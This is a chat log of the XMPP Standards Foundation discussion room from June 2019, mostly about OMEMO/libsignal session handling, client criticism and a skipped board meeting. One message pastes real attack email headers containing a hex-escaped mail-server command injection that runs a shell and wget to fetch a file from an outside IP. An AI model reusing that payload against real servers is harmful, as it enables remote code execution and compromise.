XSF Discussion - 2019-06-27

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  61. edhelas https://techcrunch.com/2019/06/26/india-government-inhouse-chat-app-whatsapp/
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  76. adityaborikar edhelas: thumbsup !
  77. edhelas related HN thread https://news.ycombinator.com/item?id=20291889#20292122
  78. edhelas if you guys wants to reply
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  80. Yagiza Daniel, are you here?
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  82. Daniel Yagiza: it's probably better if you just ask your question since there are other people in here who can answer them as well
  83. Daniel As lovetox demonstrated yesterday
  84. Yagiza Daniel, ok
  85. Yagiza So, once session_cipher is created, I don't need session_builder anymore?
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  116. rion Is it possible to add Psi here https://xmpp.org/getting-started/ ?
  117. rion ah there is a list on another page. ok.
  118. Zash https://xmpp.org/software/clients.html ?
  119. rion so the first list is discriminating all other clients :)
  120. Zash It would be nice if there were more detailed getting-started tutorials, with pictures and stuff. Maybe you could do one for Psi?
  121. Zash "get a client, get an account, done!" seems a bit bare
  122. Zash Let's not have another fight over this page 😕
  123. jonas’ maybe clients should make tutorials superfluous by having proper onboarding
  124. jonas’ with server lists and stuff
  125. jonas’ and then we can make it a criterium for a client to have that type of flow to be listed on getting_started
  126. jonas’ and Ge0rG can finally get rid of his pidgin
  127. Zash I don't see Pidgin there
  128. jonas’ oh, so that was fixed already
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  131. rion what's wrong with Pidgin?
  132. jonas’ lack of support for any modern XMPP feature?
  133. jonas’ and don’t get me started on plugins
  134. Ge0rG tl;dr: everything is wrong
  135. jonas’ you know, pidgin, the type of client where you have to ask "did you write anything?" when the peer goes off- and online, because it doesn’t have stream management *or* MAM
  136. jonas’ you know, pidgin, the type of client where you need to make other clients resource-lock to, otherwise you don’t get messages (no carbons)
  137. jonas’ you know, pidgin, the type of client where you have to consciously log off before switching networks/suspending to not lose messages (again, no SM or MAM)
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  139. jonas’ you know, pidgin, the type of client which has an architecture which makes it easy for crypto plugins to accidentally send plaintext instead of ciphertext when you start a message with "/me"
  140. jonas’ (I’m stopping now)
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  142. pep. deserves its own rant anyway
  143. pep. fail.
  144. jonas’ bahaha
  145. pep. Why poezio.. why..
  146. pep. "//me" doesn't even work
  147. jonas’ it can’t
  148. jonas’ and you know why :)
  149. jonas’ that’s why you want to rant about it
  150. jonas’ you need ///me
  151. pep. Yes
  152. jonas’ and then everyone will see "//me" :)
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  154. pep. jonas’, why I have you, can you merge this plz https://github.com/xsf/xmpp.org/pull/582 :)
  155. rion Well I always used Pidgin just like a transport for spectrum =)
  156. pep. I think there are also horror stories with that
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  158. jonas’ pep., I don’t have github credentials at work
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  160. jonas’ oh, spectrum with libpurple? you know, the IRC transport where you would get disconnected when you sent a message starting with ``/quit`` to the transport?
  161. jonas’ or was it the transport where you would get disconnected when you sent a multi-line message like: foo QUIT :bar
  162. jonas’ to get disconnected?
  163. jonas’ I *am* in a ranty mood today.
  164. rion unfortunately Pidgin's Skype integration is full of bugs. That's what I needed at most last time.
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  182. neshtaxmpp moparisbest: someone comment or number ip is not importamr and this is LIE. today mi friend comment someone connect from and send this: Return-Path: <root@1ur.com> X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2065.181.120.163x2fstfinracux22}}@yourdomain.com Delivered-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2065.181.120.163x2fstfinracux22}}@yourdomain.com Received: from localhost (localhost []) by yourdomain.com (Postfix) with ESMTP id A94DBA00B30 for <root+${run{x2Fbinx2Fsht-ctx22wgetx2065.181.120.163x2fstfinracux22}}@yourdomain.con>; Wed, 26 Jun 2019 02:58:45 +0200 (CEST) X-Quarantine-ID: <UdVj8nzxJJRS> X-Virus-Scanned: Debian amavisd-new at yourdomain.com X-Amavis-Alert: BAD HEADER SECTION, Missing required header field: "Date" Message-Id: <20190626005845.A94DBA00B30@yourdomain.com> Date: Wed, 26 Jun 2019 02:58:45 +0200 (CEST) From: root@1ur.com
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  186. jonas’ neshtaxmpp, this room is not about email.
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  188. neshtaxmpp jonas’: it is about sslh and someone try hack my friend server throught sslh. i need someone commment how sslh sopve apache2 to show real ip and block not to be used outside internet.
  189. jonas’ this room also is not about sslh
  190. jonas’ or sysadmin in general
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  194. vanitasvitae neshtaxmpp, tell your fried to visit a local hackerspace to get help, but please do not bother the people in this room about it.
  195. pep. vanitasvitae, I wish hackerspaces were as big a thing anywhere else than they are in germany, but it's not the case :(
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  198. Daniel I'm not entirely sure hackerspaces want to be a replacement for search engines
  199. Zash Maybe there's even a support venue for sslh itself.
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  215. Seve is on its way to the airport. Crossing fingers for a stable connection
  216. Guus Ralph and Matt can't make it.
  217. Guus if you're not on a reliable connection, we might as well skip the meeting, unless something important needs to be handled.
  218. Guus (assuming that nyco is here, in the first place)
  219. Seve Right
  220. nyco good guess
  221. Guus do we skip this meeting or not?
  222. nyco let me check the board
  223. nyco followup on badges is ok, I've not done the poll yet
  224. nyco so yes, I think we need more members to really advance
  225. Seve I guessed that, yes
  226. Guus ok, let's skip this meeting then.
  227. nyco three is good from a bylaws standpoint, but imho not enough for debate and decision making
  228. Guus agreed
  229. nyco ok
  230. nyco so, bang, and bang, done, thx all, +1W ;-)
  231. Guus have a good flight, Seve 🙂
  232. nyco I believe I can flyyyyy
  233. Seve 😁
  234. Guus If your pilot sings that: run.
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  237. Seve Oh... Haha
  238. Seve If I hear that, it may be too late
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  242. Ge0rG Aw, what a pity. I wanted to provide an update regarding the German government contact.
  243. Guus Ge0rG - could you do that by mail, if it's longer than 2 sentences?
  244. Guus Do you need our input to progress?
  245. Ge0rG Guus: yes I can. No input needed so far. Should I write to members@?
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  249. Guus if it's of interest to the members, yes. Otherwise: did we solve that Board mailing thingy?
  250. Guus (Seve?)
  251. Yagiza Well...
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  253. Yagiza Where can I get session_cipher to decrypt pre_key_signal_message?
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  255. Ge0rG Guus: IIRC somebody is now looking for external mail to board@ or somesuch
  256. jonas’ Ge0rG, Seve typically does that
  257. Guus (Who's now in a plane)
  258. Guus Ge0rG if you're unsure if it's suitable for members@, mail it to me, and I'll forward it to board@
  259. Ge0rG Guus: I'll try to write down something when I have a bit of time. Don't think there are any issues with using members@
  260. Guus tx
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  306. lovetox Yagiza, yes session is only once build, after that you load the session from the database and use it to decrypt and encrypt
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  310. Yagiza lovetox, so, I have different question.
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  312. Yagiza lovetox, how to generate session_cipher to decrypt pre_key_signal_message?
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  314. Yagiza Do I have to decrypt it with a key, generated with empty session_builder (before session_builder_process_pre_key_bundle()) call?
  315. lovetox hm i cant talk much about the C lib but in the python port
  316. lovetox you create a new session_cipher
  317. lovetox then use ession_cipher.decryptPkmsg(pre_key_message)
  318. lovetox and the decryptPkmsg, does create a new session on its own and saves it to the database
  319. lovetox so nothing more to do here
  320. lovetox is there something similar in the C version?
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  324. lovetox there session_cipher_decrypt_pre_key_signal_message
  325. lovetox looked it up
  326. lovetox it does everything for you
  327. lovetox create a new session, store it to the db, decrypt the message
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  329. Yagiza lovetox, so, after that call, current session is invalidated and new session is created instead?
  330. lovetox yes
  331. lovetox thats also how you refresh a session, you just send a new pkmg
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  333. lovetox but normally this should not be necessery
  334. Yagiza lovetox, do I need to generate new session_cipher after that?
  335. lovetox session_cipher is only a wrapper
  336. lovetox it does not hold any state itself
  337. lovetox you call decrypt or encrypt on it, what it does is it loads the session from the database everytime
  338. lovetox you can also recreate it after each message if you want
  339. Yagiza lovetox, so, once session is changed, existing session_cipher will use a new session data?
  340. lovetox yes
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  342. lovetox i create it on the first message for each contact
  343. lovetox and cache it
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  345. lovetox but you dont have to, you can also create it on every message new, does not make a difference
  346. Yagiza lovetox, IC
  347. lovetox session is loaded on each message, modified and stored back to database
  348. lovetox otherwise it would be highly likely that you have invalid session if your application crashes
  349. lovetox so no state is hold in memory
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  351. Yagiza lovetox, ok
  352. Yagiza lovetox, so, I need session_builder only when initiating session. If session initiated by other party, it is created by session_cipher_decrypt_pre_key_signal_message(), right?
  353. lovetox yes
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  361. Yagiza lovetox, IC. Thank you.
  362. Yagiza lovetox, and the last question.
  363. Yagiza lovetox, how do I decide, to which resources of my contact do I need to send encrypted messages, and to which of them not encrypted? Only by checking if it has 'eu.siacs.conversations.axolotl.devicelist+notify' #disco feature?
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  365. lovetox no
  366. lovetox you dont send messages to resources
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  369. lovetox or better said all messages you send will arrive at all resources of the contact
  370. lovetox because of carbons, mam etc
  371. Yagiza lovetox, I can't be sure that all of resources of my contact do support OMEMO.
  372. lovetox you dont change anything about how you send a message
  373. lovetox Yagiza, you can be sure that one device supports it
  374. lovetox and thats enough
  375. lovetox the user decides if he wants to send encrypted or not
  376. lovetox not the client
  377. Yagiza lovetox, what do you mean? I have a contact. And I se all of their resources. And I can choose to which of them to send message.
  378. Yagiza lovetox, at least, my cliend allows that.
  379. lovetox so your client makes the server not save the message in MAM
  380. lovetox ?
  381. lovetox otherwise you cant control who downloads a message from the archive
  382. Yagiza lovetox, my client to not support MAM yet.
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  384. lovetox but the server has
  385. Yagiza lovetox, so?
  386. lovetox and the server stores all messages in MAM
  387. lovetox if you want or not
  388. Yagiza lovetox, ok
  389. lovetox and other clients will download it
  390. lovetox dont assume you can control who gets the message
  391. lovetox other than the barejid
  392. lovetox you find keys in pep
  393. lovetox then you know at least one device of the contact supports it
  394. lovetox and afterwards you give your user the decision if he wants to talk encrypted or not
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  396. Yagiza lovetox, anyway. When I send encrypted message, clients, which do not support OMEMO will just ignore it. When I send unencrypted message, all the clients may read and display it.
  397. lovetox yes
  398. Yagiza And I can't be sure, that my or their server do support MAM.
  399. lovetox and you cant know if the user is fine with that
  400. lovetox the user maybe totally fine with one of his devices ignoring omemo
  401. lovetox and only one device beeing able to decrypt
  402. Yagiza Yes
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  405. lovetox i just try to save you implementation trouble, you can try to make logic that start and stops encrypting if this and that happens
  406. lovetox but i tell you from experience users will come and tell you they want to make the decision themself
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  409. lovetox especially disco info is useless here
  410. Yagiza So, if user enabled OMEMO encryption for a contact, but selected a resource, which do not support it, I must somehow make him aware of the fact and send unencrypted messages in that case.
  411. lovetox it only works if a client is online
  412. lovetox omemo works also if the contact is offline
  413. lovetox dont forget that
  414. Yagiza lovetox, yes. That's not a problem.
  415. lovetox Yagiza, why do you even have UI where the user selects a resoure
  416. Yagiza lovetox, I'm telling only about the sace above.
  417. Yagiza lovetox, because that's a good tradition.
  418. lovetox if i talk as a user, i dont care how many devices are online of my friend, i just want to send him a message
  419. Yagiza lovetox, not all the servers do support MAM or Message Archving or Message Carbons.
  420. lovetox Yagiza, then we should tell the admins to upgrade
  421. Yagiza So, it's a good thing to have an ability to specify a resource.
  422. lovetox i cant help you with that, thats not a usecase for me to write clients for servers from the stoneage
  423. Yagiza lovetox, IC. So, you think sending messages to bare JID is a good idea?
  424. lovetox Yagiza, thats not what i wanted to say, allthough many devs in the community would answer that question with yes
  425. lovetox what i want to say is, that i think its bad UI if you make the user force a resource
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  427. lovetox because user has to know about what a resource is, that is xmpp protocol stuff
  428. lovetox users just want to write messages
  429. lovetox and you should no assume only because you adress a message to a resource, that only this resource will get the message
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  431. Yagiza lovetox, yes, of course.
  432. lovetox that is 99% wrong assumption in our current world
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  437. jonas’ send to the bare JID
  438. jonas’ you’ll be in pain when IM-NG lands otherwise :)
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  440. pep. When is that :/
  441. pep. Any client/server already doing things with it? More than what MattJ said at the summit
  442. jonas’ I think there was some discussion about that type of stuff the other day
  443. jonas’ but don’t pin me down on tha
  444. jonas’ I wish I had time to experiment with things, but so many fires to fight these weeks
  445. pep. People in IT always playing with fire..
  446. jonas’ ha
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  448. pep. Though with the current temperature..
  449. pep. https://upload.bouah.net/upload/_tGYZRYmjJHFBvmx/hrsPzCX6ROecghJJhbvNXA.jpg
  450. jonas’ holy smokes
  451. jonas’ I feel sorry for you
  452. jonas’ and I thought we had bad luck with the 38°C yesterday
  453. jonas’ (dropped to 25°C today)
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  469. lovetox i dont find the xep that defines dataforms for disco info
  470. lovetox ah 128
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  474. Yagiza And one more question...
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  476. Yagiza After I processed PreKeySignalMessage, an appropriate pre key is automatically substituted with a new one? So, I only need to refresh the bundle on the PEP server?
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  478. lovetox no
  479. lovetox the prekey which was used, is deleted from the database
  480. lovetox but no new keys are generated
  481. lovetox you have to do this yourself
  482. lovetox and of course you should instantly delete the prekey used from pep
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  484. Yagiza lovetox, so, I need generate a new key instead of used one? Ok.
  485. lovetox you dont have to generate new ones, i mean we publish 100 keys
  486. lovetox you can also generate new ones when you reach 90 or something like this
  487. lovetox but you have to delete the used one from pep, so you have to push 99 keys anyway
  488. lovetox so i would say just generate one and push 100 again
  489. Yagiza lovetox, I aware about publishing new bundle of 100 keys.
  490. Yagiza lovetox, the only question was about generating a new key instead of used one.
  491. lovetox im not following, if a key is used, you only have 99, if you aware that you should have 100 keys
  492. lovetox what is there for other option than generate 1 new key?
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  497. Yagiza lovetox, I didn't know old key is deleted and a new one is generated automatically, or not. So, once you told me that it is deleted, but no new key is generated, I understand, that I only need to generate a new key to replace used one.
  498. lovetox ah ok :)
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  500. lovetox and Yagiza we should move the discussion to xmpp:jdev@conference.jabber.org?join this room is more suited
  501. Yagiza lovetox, yes. I tried to ask there, but almost no one replied.
  502. lovetox im always joined there :)
  503. Yagiza lovetox, me too.
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  505. vanitasvitae Yagiza: you could take a look at https://blog.jabberhead.tk/2019/04/15/closer-look-at-the-double-ratchet/ to understand the inner workings of the signal protocol.
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  507. Yagiza vanitasvitae, ok, thank you!
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  550. lovetox can someone verify that the example here is wrong https://xmpp.org/extensions/xep-0128.html#examples
  551. lovetox as it has a field without type which means text-single
  552. lovetox but still has multiple <values>
  553. lovetox which is a MUST NOT in 0004
  554. lovetox or am i missing something
  555. moparisthebest jonas’, vanitasvitae: I've tried more than once to help neshtaxmpp by linking him to exactly what he was asking for etc, he's either a troll or beyond help, I just ignore now
  556. pdurbin has joined
  557. pep. moparisthebest, yeah I have also given in this domain :)
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  562. vanitasvitae Yeah I also dealt with him repeatedly :D
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